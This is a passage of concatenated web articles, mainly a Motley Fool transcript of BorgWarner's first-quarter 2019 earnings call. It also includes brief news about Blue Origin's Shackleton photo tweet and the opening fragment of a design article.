Perhaps thats because of its inspiration, and the time it took to create, test, and build the piecesfive years, to be exactwhich indicates a more lasting complexity and sense of place. The pieces exist in an aesthetic space between luxury and industrial and speak to a certain clienteleyoung and cool but with a sense of timelessness, says North. "It all comes from the realization that much high-end design has been focused on evoking someplace else rather than referencing the exciting environments in which the vast majority of us live. Jeff Bezos' space venture Blue Origin tweets a cryptic photo of Ernest Shackleton's ship "Endurance." One likely explanation is the possible connection between Shackleton's expedition and Blue Origin's bid to send astronauts back to the surface of the moon. Bezos has said there should be "a permanent human settlement on one of the poles of the moon" and that it's not just time for humans to return to the moon, it's "time to stay." Blue Origin, the space company founded by Amazon AMZN chairman Jeff Bezos, shared a cryptic photo of famed explorer Ernest Shackleton's expedition in a tweet on Friday. But, with only the date of May 9 in the photo's caption, the company left the context for the post unexplained. One likely meaning is the possible connection between Shackleton's expedition and Blue Origin's bid to send astronauts back to the surface of the moon. @blueorigin tweet The photo is of Shackleton's ship "Endurance" during the explorer's attempt to make the first land crossing of the Antarctic more than a century ago. But Shackleton is also the name of a crater on the moon's surface. And it's not just any crater. NASA named the crater for the famed explorer in 2006 due to its potential as a lunar outpost. Located at the moon's south pole, the Shackleton crater is believed by many to have deposits of frozen water. The presence of "water ice," as NASA calls it, is key to any plans of returning to the moon. Bezos talks often about how he wants to return human beings to the surface of the moon and, like NASA administrator Jim Bridenstine also says, do so with a permanent presence. NASA's 2020 budget request in March revealed new opportunities for private space companies such as Blue Origin to earn lucrative future awards. Key within that request was the Advanced Cislunar and Surface Capabilities (ACSC) program . The NASA program aims to award billions of dollars in contracts over the next five years so companies will develop spacecraft capable of flying humans to and from the moon. Story continues Bezos pours about $1 billion of his Amazon stock into Blue Origin each year. He has said there should be "a permanent human settlement on one of the poles of the moon" and that it's not just time for humans to return to the moon, it's "time to stay." More From CNBC Logo of jester cap with thought bubble. Image source: The Motley Fool. BorgWarner Inc (NYSE: BWA) Q1 2019 Earnings Call April 25, 2019, 9:30 a.m. ET Contents: Prepared Remarks Questions and Answers Call Participants Prepared Remarks: Operator Good morning. My name is Sharon, and I will be your conference facilitator. At this time, I would like to welcome everyone to the BorgWarner 2019 First Quarter Results Conference Call. (Operator Instructions) I would now like to turn the call over to Patrick Nowlan, Vice President of Investor Relations. Mr. Nowlan, you may begin your conference. Patrick Nolan -- Vice President of Investor Relations Thank you, Sharon. Good morning, everyone, and thank you for joining us. We issued our earnings release at 6:30 a.m. Eastern Time, posted on our website, borgwarner.com, both on the homepage and on our Investor Relations homepage. A replay of today's call will be available through May 9. The dial-in number is (855) 859-2056, and the conference ID is 6599394 or you can simply listen to the replay on our website. With regard to our investor relations calendar, we will be attending multiple conferences between now and our next earnings release. Please see the Events section of our IR page for a full list. Before we begin, I need to inform you that during this call, we may make forward-looking statements which involves risks and uncertainties as detailed in our 10-K. Our actual results may differ significantly from the matters discussed today. During today's presentation, we will highlight certain non-GAAP measures in order to provide a clearer picture of how the core business performed and for comparison purposes with prior periods. When you hear us say on a comparable basis, that means excluding the impact of FX, net M&A and other noncomparable items. When you hear us say adjusted, that means excluding noncomparable items. And when you hear us say organic, that means excluding the impact of FX and net M&A. We will also refer to our growth compared to our market. When you hear us say market, that means the change in light vehicle production weighted for our geographic exposure. Our outgrowth is defined as our organic revenue change versus the market. Story continues Now back to today's call. First, Fred Lissalde, our President and CEO, will comment on the industry. He will then follow this with a high-level overview of our Q1 results, our 2019 outlook and the cost restructuring plan that we announced this morning. Fred will conclude with a discussion of our recent product highlights. Then Tom McGill, our Controller, will discuss the details of our results as well as our guidance. Also with us today is Kevin Nowlan, our recently appointed CFO. Please note that we have posted an earnings call presentation to the IR page of our website. We encourage you to follow along with these slides during our discussion. With that, I'll turn it over to Fred. Frederic B. Lissalde -- President and Chief Executive Officer Thanks, Pat, and good morning, everyone. We're very pleased to share our results from Q1 2019 today and provide an overall company update. Before we begin, I'd like to welcome Kevin Nowlan to his first earnings call with BorgWarner as our new CFO. Kevin's impressive background speaks for itself. But suffice it to say, his experience will be invaluable as we continue our long legacy of strong financial discipline. He hit the ground running during his first few weeks, and you will be hearing more from him in the coming months. I also like to thank Tom McGill for his excellent financial leadership, and I'm very pleased that he is now our Controller with responsibilities for all our accounting, tax and enterprise risk management operations. Now I'll start by sharing a few thoughts on the industry shown on Slide 5, starting with Q1. The global light vehicle production came down about 5.2%, which is more than 100 basis points better than the midpoint of our expectation going into the quarter. In addition, I'm very proud to say that our outgrowth in Q1 was also stronger than expected, driven by higher volume of new programs, especially in Europe and North America. European light vehicle production was down about 5.5% as customers worked through the final stages of the WLTP certification. China light vehicle production was down mid-teens year-over-year as our customers reacted to lower demand and reduced their inventories. North American light vehicle industry production declined about 2.5% year-over-year. Now looking to the remainder of 2019. We expect that the challenging conditions in China and Europe will continue for the remainder of the year. Even with these challenging conditions, we expect to be able to deliver on our full year earnings and cash flow guidance. On a full year basis, we continue to expect a market decline in the minus 2% to minus 5% range. At the midpoint of our guide, we're factoring in China down high single digits, Europe down more than 3% and North America down more than 2%. The key is that we expect to continue to outgrow the market in 2019 based on continuous strong demand for our products. Let me now move to Slide 6. First, a brief summary of our Q1 results. Overall, I'm very pleased. Organic growth was above our guidance. And while we fell short of our typical 20% decremental margin, the performance was in line with our Q1 guide. With $2.6 billion in sales, we were down 3.3% organically. This compares to our market being down approximately 5.2%, so our outgrowth was approximately 200 basis points in the quarter, which was ahead of our expectations. Regionally, our China revenue declined high teens as ramp-up schedules of new programs were impacted by inventory reduction at our customers. Our European light vehicle revenue was down about 1%, outperforming the industry decline. Our North American light vehicle revenue was flattish year-over-year, and our commercial vehicle off-road and aftermarket business was also flat year-over-year. Adjusted earnings per share came at $1, which was ahead of our guidance, driven by revenue outperformance. Now for the full year 2019. Whilst we are encouraged by the stronger Q1 performance, we're maintaining our full year guidance. We continue to expect revenue to be down 2.5% to up 2% organically, and this represents an outgrowth of 250 basis points to 400 basis points over our expected market decline. We continue to expect our adjusted earnings per share to be at $4 to $4.35. I would also like to briefly touch on our planned margin and R&D cadence for 2019. As Tom will explain later, our guidance for Q2 implies a shortfall compared to our typical decremental margin. In addition to the costs related to tariffs and supply bankruptcies, we're also supporting elevated R&D spending in Q2. This is mostly related to the recently awarded programs. The prototype spending for this program is a bit lumpy throughout 2019, with some of the largest impacts in Q2. For example, during this quarter, we will experience a $10 million year-over-year impact from prototype spending related to recent complete module awards for P2 hybrids. However, at the high level, our R&D spending expectations for 2019 remain unchanged. We continue to deliver strong outgrowth in 2019, and we must continuously look at ways to adjust our cost structure without compromising our long-term aspiration. The cost restructuring plan that we announced in our press release this morning is consistent with this long-term commitment. We've taken a companywide view of areas to reduce our current cost structure. Based on our analysis, we believe that we can achieve a $40 million to $50 million annual improvement in our current structural cost over the next 2 years. These cost actions will range from capacity realignment, efficiency improvement in SG&A expenses within our businesses and cost reduction opportunities within our corporate overhead. We expect these actions will result in restructuring expenses in the $80 million to $100 million range through the end of 2020. Our plan is to really deploy these savings into spending to support future growth in hybrid and electric propulsion. Specifically, we expect to use savings to increase our R&D spending as a percentage of sales without negatively impacting our overall operating margins. We continue to see a strong pool for our products from our customers. And we expect the return on this higher spending will not only drive stronger growth, but generate returns in line with our historic levels. Now I'd like to discuss some of our recent product successes, which are on Slide 7. For the second year in a row, BorgWarner has been recognized as an Automotive News PACE Awards winner. This year, we won for our revolutionary dual volute turbocharger for gasoline engines. General Motors is the first OEM to put this innovative technology in its full-size pickups with its 4-cylinder turbocharge engine. This is a great example of technology that will help support our above-market growth in the combustion propulsion. In hybrid, we also announced that a major European commercial vehicle manufacturer has chosen our HVH410 electric motor for plug-in hybrid electric truck to be announced in 2019. I'm also strongly encouraged by our year-to-date wins across multiple hybrid architectures and electric products. Before I turn it over to Tom, let me summarize my opening remarks. Q1 was a strong start of the year, and we feel very confident in our full year outlook. Our cost restructuring plan will help support our future profitable growth while sustaining margin performance. And the year-to-date new business wins that we've achieved across combustion, hybrid and electric vehicle will position us strongly for the future. Now let me turn it over to Tom. Thomas J. McGill -- Vice President, Interim Chief Financial Officer and Treasurer Thank you, Fred. Good morning, everyone. Before I review the financial details, I would like to provide you some of the highlights as I see them for the quarter. First, our outgrowth was better than expected at 190 basis points. This, combined with a more modest decline in industry volume, allowed us to deliver a stronger top line sales performance. Second, decremental margin performance was below our long-term targets, but the shortfall was in line with our expectations going into the quarter. As a result, the stronger sales from the quarter flowed through in line with our long-term incremental margin expectations. And finally, we are maintaining our guidance for the year, but feel increasingly confident in our earnings and free cash flow outlook for the full year. Let's turn to Slide 9. On a comparable basis, our organic sales were down 3.3% year-over-year. This is solid performance compared to market, which was down approximately 5.2% year-over-year. We saw a high-teens decline in China against a production market that was down mid-teens. Europe revenue was down 1% compared to the 5.5% industry production decline in the quarter. North America revenue was flat versus the 2.5% production decline in the quarter, and our commercial vehicle and aftermarket business was flat year-over-year. So now let's look at the year-over-year comparison for adjusted operating income, which can be found on Slide 10. The Q1 adjusted operating income was $295 million compared to $339 million in Q1 of '18. Our adjusted operating margin of 11.5% was down versus 12.2% last year. On a comparable basis, adjusted operating income was down $29 million or $91 million of lower sales. This gives us the decremental margin of 32% in the quarter, which is worse than our long-term decremental margin target of 20%. This $11 million shortfall compared to a 20% decremental margin can be explained by tariff-related costs, supplier bankruptcy costs in Europe and timing of costs related to a new business launch later in 2019. Our earnings per share on a reported basis were $0.77 per diluted share. On an adjusted basis, net earnings were $1 per diluted share. Now let's take a closer look at our operating segments in the quarter beginning on Slide 11 of the deck. The reported Engine segment net sales were $1.6 billion in the quarter. On a comparable basis, sales for the Engine segment declined 1.8% as growth in North America was offset by lower Europe and China volumes. Adjusted EBIT was $241 million for the Engine segment or 15.1% of sales. On a comparable basis, the Engine segment's adjusted EBIT was down $28 million on $31 million of lower sales. This week, decremental margin performance was driven by the decline in sales and costs related to supplier bankruptcies. So turning to Slide 12, the Drivetrain segment net sales were $982 million in the quarter. On a comparable basis, sales for the Drivetrain segment declined 5.6% year-over-year, primarily due to lower volumes on European customers with higher-than-average Drivetrain content and on low volumes of recently launched new programs in China. Adjusted EBIT was $105 million for the Drivetrain segment or 10.7% of sales. On a comparable basis, the Drivetrain segment's adjusted EBIT was down $12 million on $61 million of lower sales for a decremental margin of 20%. So now I'd like to discuss our 2019 full year guidance, which is unchanged. So turning to the sales growth guidance for the full year on Slide 14, our guidance is based on market assumption of down 2% to down 5%. We expect an organic revenue change of down negative 2.5% to positive 2% or 250 to 400 basis points of outgrowth over the market. Total revenue is expected to be in the range of $9.9 billion to $10.37 billion. Our adjusted operating income walk is on Slide 15. Our consolidated adjusted operating income margin is expected to be flat to down in 2019, and this margin performance is due to the decline in sales year-over-year, combined with costs related to tariffs, supplier bankruptcy costs in Europe and changes to launch timing throughout 2019. To finish up our full year guidance, please turn to Slide 16. Our adjusted EPS guidance range is unchanged at $4 to $4.35 per diluted share. We continue to target free cash flow of $550 million to $600 million. And our effective tax rate is expected to be approximately 26%. Our second quarter guidance is on Slide 18. So first, sales. We expect organic sales to be in the range of down 2.5%to flat year-over-year. This would represent an outgrowth of 350 to 400 basis points versus our market forecast of down 4% to 6%. The sequential improvement in our outgrowth is expected to be driven by recovery in volumes of new programs in China and newly launched programs in North America. Adjusted EPS for Q2 is expected to be in the range of $0.99 to $1.05 per diluted share, and our Q2 guidance is based on a 26% effective tax rate and incorporates $100 million of FX revenue headwind year-over-year. As Fred indicated earlier, our guidance for Q2 implies roughly a $20 million operating income shortfall compared to our typical incremental and decremental margin performance. And as with the case in Q1, the Q2 results will be impacted by tariffs and supplier bankruptcy costs. And in addition, higher R&D spending will impact our year-over-year margin performance in the quarter. But most of this impact was timing-related, and the largest impact is related to recently awarded programs. The prototype spending for these programs is a bit lumpy throughout 2019 with some of the largest impacts in Q2. On a full year basis, we still feel comfortable that the R&D will be in the low 4% range, but timing of spending will vary from quarter-to-quarter. Specifically, we expect our Q4 R&D spending to be $10 million to $20 million less than the Q2 levels. So in conclusion, let me summarize Q1 and our outlook. Overall, execution was solid in light of the challenging industry volume. Organic sales decline of 3.3% was better than our expectations. Decremental margin performance in the quarter was in line with our expectations. And as we look into the remainder of 2019, we remain confident in the reacceleration of our outgrowth and our ability to achieve both our earnings and cash flow guidance. With that, I'd like to turn the call back over to Pat. Patrick Nolan -- Vice President of Investor Relations Thank you, Tom. Sharon, we're ready to open it up for questions. Questions and Answers: Operator (Operator Instructions) And your first question comes from John Murphy with Bank of America Merrill Lynch. John Murphy -- Bank of America Merrill Lynch -- Analyst Good morning guys. Just wanted to ask a first question on your sort of the step-up in R&D versus the restructuring actions. I'm just curious, I mean, as you're thinking about this, are the restructuring actions being taken because there's some potential underperformance that you're seeing in things that need to be fixed or is the direct motivation to fund a step-up- in R&D going forward, and it really will be almost a 1-for-1 offset? Just trying to understand what's going on there between the 2. Frederic B. Lissalde -- President and Chief Executive Officer I think it's both, John. We asked to adjust our cost structure to the latest industry evolutions, and we then are going to focus on our growth and also make sure that our operating margin evolutions are in line with what we've announced and what we committed to. So it's both, John. It's absolutely both. So we're taking a companywide view to reduce the cost structure. And at the end of the day, the pool is there from our customers, and we see growth potential that require R&D. I think those 2 things have to be done, and we're doing it. We're executing it, and we'll execute it. And that's going to be good for profitable growth for the company. John Murphy -- Bank of America Merrill Lynch -- Analyst So should we think about the $40 million or $50 million of ongoing cost saves would be directly offset by a step-up in R&D that should drive sales, which should keep R&D as a percentage of sales roughly in the low 4% range? Is that a sort of a logic that's correct? Or am I missing something? Frederic B. Lissalde -- President and Chief Executive Officer No, your logic is correct. The R&D would be up a little more than that, and that would be topping 2020, 2021. Don't consider that the R&D that is currently at 4.1% of sales in 2019 is going to change. And also the margin profile expectations are going to be unchanged. John Murphy -- Bank of America Merrill Lynch -- Analyst Okay. And then if I could just sneak in a follow-up. Just on this Slide 10, Fred, and maybe for you, Tom, as well. I mean, as you're going through the tariffs impact, the supplier bankruptcy and the new launches as headwinds to your decremental margins or sort of losses to decremental margins, are those relatively equal? Or how should we think about the 3 of those as we go through the course of '19 and potentially into 2020? Frederic B. Lissalde -- President and Chief Executive Officer Are you talking about full year? John Murphy -- Bank of America Merrill Lynch -- Analyst Well, I mean, in the quarter, but then, also, it sounds like they're going to persist a little bit in the second quarter. So I just want to understand what are the sort of the buckets of those? Were they equally split in the first quarter? And is that the same allocation we should think about going forward? Or is there something changing going forward? Thomas J. McGill -- Vice President, Interim Chief Financial Officer and Treasurer Yes. So with the tariffs, we've talked about that being up to maybe $10 million a quarter, and that will continue through Q2. And then come Q3, that year-over-year comparison, the tariffs will be in both. So again, a little bit in Q2, but by Q3, the year-over-year will even out. For the supplier bankruptcies, yes, that will continue in Q3 and probably through the year, but we'll see that coming down in Q3 and Q4, especially on a comparable basis. Frederic B. Lissalde -- President and Chief Executive Officer And for R&D in Q2, John, it's about $10 million, and it's timing. John Murphy -- Bank of America Merrill Lynch -- Analyst Okay, great. Thank you very much guys. Operator Your next question comes from Rod Lache with Wolfe Research. Rod Lache -- Wolfe Research -- Analyst Good morning, everybody. A couple of things. To make the full year number, it implies that the second-half margins are in the 12.5% range after the mid-11s in the first half. And it sounds like part of this is moderation of R&D, and part of it is the supplier bankruptcies. And I presume that you're also anticipating easier comps in European production, but I was hoping you might be able to just elaborate a little bit more on each of these components and how we should be thinking about that because it's pretty unusual to see BorgWarner have stronger back-half margins versus first half. Frederic B. Lissalde -- President and Chief Executive Officer So one is related to R&D timing. We have Q4 R&D, which is $10 million to $20 million lower than Q2. And also you have a stronger growth in the second half of the year which is linked to stronger backlog and demand of our products for Europe and North America, but also in the second half of the year, and we see that starting in Q2 in China. Rod Lache -- Wolfe Research -- Analyst What's the bankruptcy part of this? And what are you assuming for European production in the back half? Frederic B. Lissalde -- President and Chief Executive Officer So our midpoint to European production is estimated at a little bit less than -- let's say, down more than 3%. And to give you an idea, on the supplier side, we consider that the bankruptcy costs and everything that we have to go through is about $5 million a quarter. Rod Lache -- Wolfe Research -- Analyst Okay, OK. And then secondly, I know that you're... Frederic B. Lissalde -- President and Chief Executive Officer Which is the supplier bankruptcies started last year. So there's $5 million of growth that we'll start lapping in the second half. Rod Lache -- Wolfe Research -- Analyst Okay, got you. Secondly, I know your backlog is bigger, I mean, your business backlog is bigger in 2020 versus 2019, but I don't think that either of those backlog numbers incorporate any changes in mix in Europe. And the reason I'm asking is, obviously, a lot needs to happen for European OEMs to go from 120 grams of CO2 per kilometer down to 95 over the next year or so. So do you -- just setting aside the macro issues and thinking about your business in Europe, do you see an additional net positive from mix coming in here as some OEMs eliminate some of the lower-performing models from a CO2 perspective? Just generally, what are you hearing from your customers as you look out to the next year or so as far as their plans for CO2 compliance? Frederic B. Lissalde -- President and Chief Executive Officer So you're right. But again, when you look at our European backlog, you need to factor back about 10% of our overall backlog linked to the diesel mix. And the other thing that you're going to see longer term is that I think you're going to see a very, very positive push for hybrid propulsion architecture post 2020. This is also one of the reasons why you've got an acceleration of the backlog in 2020 linked to those new launches. Rod Lache -- Wolfe Research -- Analyst But do you see, just from a mix perspective -- forgetting about backlog, do you see a shift toward more a kind of higher BorgWarner content of vehicles in 2020 versus what you're just seeing right now simply because these automakers need to shift to their -- to better CO2 compliance? Frederic B. Lissalde -- President and Chief Executive Officer In the short term not in a meaningful way. Rod Lache -- Wolfe Research -- Analyst Okay. Thank you. Frederic B. Lissalde -- President and Chief Executive Officer Thank you Rod. Operator Next question comes from Noah Kaye with Oppenheimer. Noah Kaye -- Oppenheimer -- Analyst Thanks. So can you talk more about the factors that led you to conclude that higher investment in hybrid and EV products were necessary? Does this contemplate a faster mix shift toward electrification than you saw previously? If so, why? Frederic B. Lissalde -- President and Chief Executive Officer Because the customers are in high demand and because we're winning. Noah Kaye -- Oppenheimer -- Analyst Can you expand on that a little bit? Frederic B. Lissalde -- President and Chief Executive Officer Well, yes. I mean, we have technologies from a hybrid perspective that are being pulled by our customers in different architecture, in different regions of the world, especially in China and in Europe. At this point in time, we're winning advanced hybrids in Europe. And we'll just ask -- we're focusing on the long-term profitable growth. The returns are going to be good, and we need to deliver. Noah Kaye -- Oppenheimer -- Analyst Okay. Yes. So if I understand that, then this is really R&D supporting an elevated number of launches than maybe we've previously thought? This is not core R&D or some sort of gaps you saw in the portfolio? Am I understanding that right? Frederic B. Lissalde -- President and Chief Executive Officer You're right. It's essentially more at new business development application type R&D than, how would you call that, advanced R&D. Noah Kaye -- Oppenheimer -- Analyst Okay. Perfect. Thanks so much. Frederic B. Lissalde -- President and Chief Executive Officer Thank you. Operator Your next question comes from David Tamberrino with Goldman Sachs. Mariel Kennedy -- Goldman Sachs Group Inc -- Analyst Hi, guys. Thanks so much for taking our questions. This is Mariel Kennedy on for David Tamberrino. Just our first question, looking toward your second quarter guidance, what are your regional production assumptions for the industry? Frederic B. Lissalde -- President and Chief Executive Officer So for Q2 regional production for the industry is pretty much North America, slightly down; Europe, down more than 5%; China, down double-digit. And overall, on the global, both on a weighted average, we're pretty much down around 5%. Mariel Kennedy -- Goldman Sachs Group Inc -- Analyst Okay. And then just looking at commercial vehicle, it looks like that was just kind of flat in the quarter, where you've been seeing it positive in the past. What sort of expectations do you have for that going forward? Frederic B. Lissalde -- President and Chief Executive Officer So when you look at commercial vehicle, our business in commercial vehicle represents about 12% of our revenue. And it's very, very -- we have about 1/3 of that revenue in the U.S., 1/3 in Europe and 1/3 in China and Brazil, China being 2/3 of that last 1/3. And we have 60% of our business which is on-road and 40% off-road construction agriculturals. So this business is very, very wide and very spread. And our hypothesis is going into forecasting and is that we are considering it by default flat because of that complexity. So don't attach a Class 8 North America market or industry volume to us. We're way more complex than this. Mariel Kennedy -- Goldman Sachs Group Inc -- Analyst Okay. Then just one last question, if I could get it in there. As we're looking, and you have more backlog in hybrids and EVs, are you starting to see any sort of material customer mix shift, especially in China? Or is it still kind of the same as you've seen in the past? Frederic B. Lissalde -- President and Chief Executive Officer We don't see a meaningful customer mix change. Mariel Kennedy -- Goldman Sachs Group Inc -- Analyst Okay. Thanks so much. Frederic B. Lissalde -- President and Chief Executive Officer Thank you. Operator Your next question comes from Chris McNally with Evercore ISI. Chris McNally -- Evercore ISI -- Analyst Thanks, Tim. If I could just follow up to, I think, just one of the questions that have been asked before, particularly Rod's question, around Europe. I mean, if we think about the next 2 years, where you're talking about sort of an increase in R&D specific for new launches in Europe, can you just give a little bit more color on the type of vehicles that you're getting, maybe increased requests for or maybe volume requests are going up, so that European OEMs can meet the O2, which starts essentially in 2020? Is there still P2 PHEV 48-volt? But are you also seeing some EV programs pull forward for you specifically in Europe? Frederic B. Lissalde -- President and Chief Executive Officer Okay. Chris, until 2020, 100% of the business is booked. And the stuff that we're booking right now is past backlog period. It's 2021, 2022. And yes, it's going to be around advanced hybrid. Most of those programs are going to be advanced hybrid, 48-volts and higher voltages, a variety of products. Chris McNally -- Evercore ISI -- Analyst Okay. So is it fair to say that we're not actually seeing volume change? I think there's a view out there that essentially, some of the volumes on some of these programs that need to be increased, the OEMs are going to push them to avoid fines because of a greater-than-expected shortfall that they've seen in, for example, diesel. Frederic B. Lissalde -- President and Chief Executive Officer And here you're asking within the next 2 years, right? Shorter term, right? Chris McNally -- Evercore ISI -- Analyst Yes, exactly. Frederic B. Lissalde -- President and Chief Executive Officer Well, shorter term, we can react. If we have the program, we can react. And if they want more volume, we'll react, and we can react pretty fast. The impact of the additional R&D is certainly past 2020.. And, yes, that's what I was saying. Chris McNally -- Evercore ISI -- Analyst Okay, that's perfectly clear. If I could just ask one more on a more near-term basis. As we think about the second, where even, I think, in your assumptions, if Europe is down roughly 5%, 6% in the first half and you have it down 3%, we have a recovery essentially in the second half to get there. And some of that's the easier comps. Can you talk a little bit about RDE in Q3? I think most of the industry was hit with the surprise of WLTP. We're hearing that people are more prepared. Is there any comments that you can get on when schedules for the summer may be more firmed up with respect to the next level of testing in Europe? Frederic B. Lissalde -- President and Chief Executive Officer Chris, the way we see it is it that in Europe, for the second half of the year, the market's going to be pretty flat year-over-year. And our hypothesis is that, yes, you're going to -- our customers are going to go through RDE as they went through WLTP last year. And that's our assumption going into the second half of the year. Chris McNally -- Evercore ISI -- Analyst Okay. Thank you very much. Frederic B. Lissalde -- President and Chief Executive Officer Thank you. Operator Your next question comes from Joseph Spak with RBC Capital Markets. Joseph Spak -- RBC Capital Markets -- Analyst Thanks, good morning, everyone. Sorry if I missed this, but just you initially guided the backlog to be effectively 0, and it ended up being about 3.7% to growth. What change that sort of maybe came in that you didn't expect? And how should we think about that as it trends into the second quarter? Frederic B. Lissalde -- President and Chief Executive Officer Yes. So in Q1, we guided with no outgrowth to market, and we are effectively outgrowing the market by about 200 basis points. Two major drivers: one is Europe Engine business slightly better; North America, also slightly better. And China was in line, which means no outgrowth. Joseph Spak -- RBC Capital Markets -- Analyst But I thought the commentary previously was that because of sort of the market outlook, some of the launches were maybe going to be delayed. And it seems like maybe some of those launches did come in. So can you maybe sort of, maybe if not customer-specific, like did stuff launch in China that you didn't originally expected? Or where did they come in from? Frederic B. Lissalde -- President and Chief Executive Officer So in China, things did not bounce. In China, we were, as I said, in line with our expectations going into Q1. Europe was the driver. Joseph Spak -- RBC Capital Markets -- Analyst Europe? Okay. On -- just maybe to sort of talk about the R&D spending and sort of the electrification program going forward a little bit differently. I think in your backlog, you have 70% allocated toward hybrid. I was wondering if is it possible to sort of disaggregate that 70% to -- from the -- maybe from like the ICE side of the hybrid versus the electric side? And how does that sort of change with the sort of R&D talk beyond this sort of backlog period as it sort of gets to more advanced hybrids? Frederic B. Lissalde -- President and Chief Executive Officer We really look at hybrid as an addressable content. And we have, from a hybrid perspective, we have our P2 hybrids. We have P1. We have P3. We have motors. We have -- and past the backlog, we will have power and electric. So it's very difficult to put a number on the combustion side of hybrid or the electric part of hybrid. What is true and what's driving growth, and that's why electrification is great for this company, is that the more advanced hybrid you get, the higher content of vehicle you're going to get from BorgWarner. And that's why electrification accelerates our growth. Joseph Spak -- RBC Capital Markets -- Analyst Okay. And just, I guess, lastly, with the structural costs you're taking out, did you mention specifically what it is? Like are you shuttering capacity for some specific types of products? Or what exactly are you restructuring? Frederic B. Lissalde -- President and Chief Executive Officer So as I said, it's a companywide view, but the largest share is going to be into the engine side. That's where we have to pick, as you saw some of the too heavy decremental. Corporate also will contribute. So we look at it from a holistic approach in order to get that done. Joseph Spak -- RBC Capital Markets -- Analyst Great. Thank you. Frederic B. Lissalde -- President and Chief Executive Officer Thank you. Operator Next question comes from Colin Langan with UBS. Colin Langan -- UBS -- Analyst Great, thanks for taking my question. Any color -- I mean, the numbers came in better than your guidance for Q1. Any thoughts on why not just tweak up the full year guidance? Or it's just too early in the year out there? Or has something gotten worse than the full year outlook? Frederic B. Lissalde -- President and Chief Executive Officer I think it's just too early in the year. The volatility in the market is still here in pretty much all the regions. And I think it's just -- we think it's just too early. Colin Langan -- UBS -- Analyst And I apologize if I missed this. The decrementals were pretty large, particularly in Engine. What were the big issues year-over-year on the quarter? Thomas J. McGill -- Vice President, Interim Chief Financial Officer and Treasurer Yes. So this is Tom. So in Engine, well, we have tariffs that impacted both Engine and Drivetrain. In Engine, the supplier bankruptcies in Europe that we talked about were primarily in the Engine Group. And then it was just kind of the launch timing and then the lower volumes that also contributed. Colin Langan -- UBS -- Analyst Got it. And when we're thinking about diesel, I mean, how was that trending? And what are your expectations for this year? Frederic B. Lissalde -- President and Chief Executive Officer So the assumption on diesel is that for this year, we assume a 300 basis point shift from last year. And what we also see is that there might be a little bit of a reduction in decreases quarter-over-quarter, 300 basis points down from prior year. Colin Langan -- UBS -- Analyst Okay, Thanks for taking my question. Operator The next question comes from James Picariello with KeyBanc Capital Markets. James Picariello -- KeyBanc Capital Markets -- Analyst Hey, good morning guys. So just on electrification programs in China, hearing farther up the supply chain as it relates to cash flow materials that China EV programs are getting pushed by as much as like 12 to 18 months. We're also seeing cobalt prices come down. So I'm just curious what you're seeing in the China market as it kind of relates to this commentary from another supplier of the supply chain? Frederic B. Lissalde -- President and Chief Executive Officer No, that's -- we see no changes at all from our allowance cadence on that electric vehicle propulsion in China. The EV pool is still very strong. James Picariello -- KeyBanc Capital Markets -- Analyst Okay. And just on the timing of the restructuring plan, the $40 million to $50 million in savings by 2021, is that sort of a 50-50 split over next year in '21? Or is it weighted to the -- to later half there? How should we think about that? Frederic B. Lissalde -- President and Chief Executive Officer It's -- the timing's still being worked out, but it's going to be over the 2 years. We're still working it out, but all of those actions for those savings will be in place by the end of 2020. James Picariello -- KeyBanc Capital Markets -- Analyst Got it. And just last one on buybacks. You have the $100 million target for the full year, $70 million deployed in the first quarter. Just wondering if there's still maybe some upside to that or maybe the prototype spending and the restructuring actions consumed cash that otherwise would have been deployed? Thomas J. McGill -- Vice President, Interim Chief Financial Officer and Treasurer Right. So I kind of just have the same answer there. We have the $100 million guidance, but we do potentially look at opportunistically buying back more depending on other uses of cash like for potential acquisitions and other things. So some we continue to look at and we'll be opportunistic with. James Picariello -- KeyBanc Capital Markets -- Analyst Thanks guys. Operator We have time for one final question, and that question comes from David Kelley with Jefferies. David Kelley -- Jefferies -- Analyst Good morning guys. Thanks for squeezing me on in. And just a couple of quick ones. I think, clearly, the China production weakness was well broadcast, but we've been hearing from others that the market appears to be at least stabilizing. Just can you speak to if there's any change from your vantage point in either customer sentiment around potential volume improvement on the horizon or if there's any change in maybe the potential outgrowth you're seeing for the pipeline in your market? Frederic B. Lissalde -- President and Chief Executive Officer So the market is stabilizing from the current run rate. Now what we see is the next generation of new programs -- next generation of our new programs in China. And we see schedules for those new programs starting -- accelerating, starting in Q2. But from a market standpoint, we're not thinking that the market is going to recover. David Kelley -- Jefferies -- Analyst Okay, great. And just a quick housekeeping, could you update us on your implied tariff headwind? I guess, is that still $20 million? I think if I recall, you weren't building in a step-up in those 3 costs there. So I just wanted to follow up. Thomas J. McGill -- Vice President, Interim Chief Financial Officer and Treasurer Yes. So for that, it's still at that $20 million. There's very little impact for us with those 3. But again, $20 million, $10 million in the quarter in Q1 and 2. And by Q3 and 4, that will be in both years. David Kelley -- Jefferies -- Analyst All right. Great. Thank you. Thomas J. McGill -- Vice President, Interim Chief Financial Officer and Treasurer Thank you, David. Patrick Nolan -- Vice President of Investor Relations With that, I'd like to thank you all for your good questions today. If you have any follow-ups, feel free to reach out to me afterwards. Thank you. Frederic B. Lissalde -- President and Chief Executive Officer Thank you all. Operator That does conclude the BorgWarner 2019 First Quarter Results Conference Call. You may now disconnect. Duration: 44 minutes Call participants: Patrick Nolan -- Vice President of Investor Relations Frederic B. Lissalde -- President and Chief Executive Officer Thomas J. McGill -- Vice President, Interim Chief Financial Officer and Treasurer John Murphy -- Bank of America Merrill Lynch -- Analyst Rod Lache -- Wolfe Research -- Analyst Noah Kaye -- Oppenheimer -- Analyst Mariel Kennedy -- Goldman Sachs Group Inc -- Analyst Chris McNally -- Evercore ISI -- Analyst Joseph Spak -- RBC Capital Markets -- Analyst Colin Langan -- UBS -- Analyst James Picariello -- KeyBanc Capital Markets -- Analyst David Kelley -- Jefferies -- Analyst More BWA analysis Transcript powered by AlphaStreet This article is a transcript of this conference call produced for The Motley Fool. While we strive for our Foolish Best, there may be errors, omissions, or inaccuracies in this transcript. As with all our articles, The Motley Fool does not assume any responsibility for your use of this content, and we strongly encourage you to do your own research, including listening to the call yourself and reading the company's SEC filings. Please see our Terms and Conditions for additional details, including our Obligatory Capitalized Disclaimers of Liability. More From The Motley Fool Motley Fool Transcribers has no position in any of the stocks mentioned. The Motley Fool recommends BorgWarner. The Motley Fool has a disclosure policy. Vehicle technology company BorgWarner (NYSE: BWA) certainly had an eventful first quarter: end-market declines, tariff impacts, supplier bankruptcies, and the announcement of restructuring plans that will impair earnings growth in the near term. However, you shouldn't conclude it's all bad news, because the company kept up its impressive track record of outperforming its end markets, and a large part of the reason for 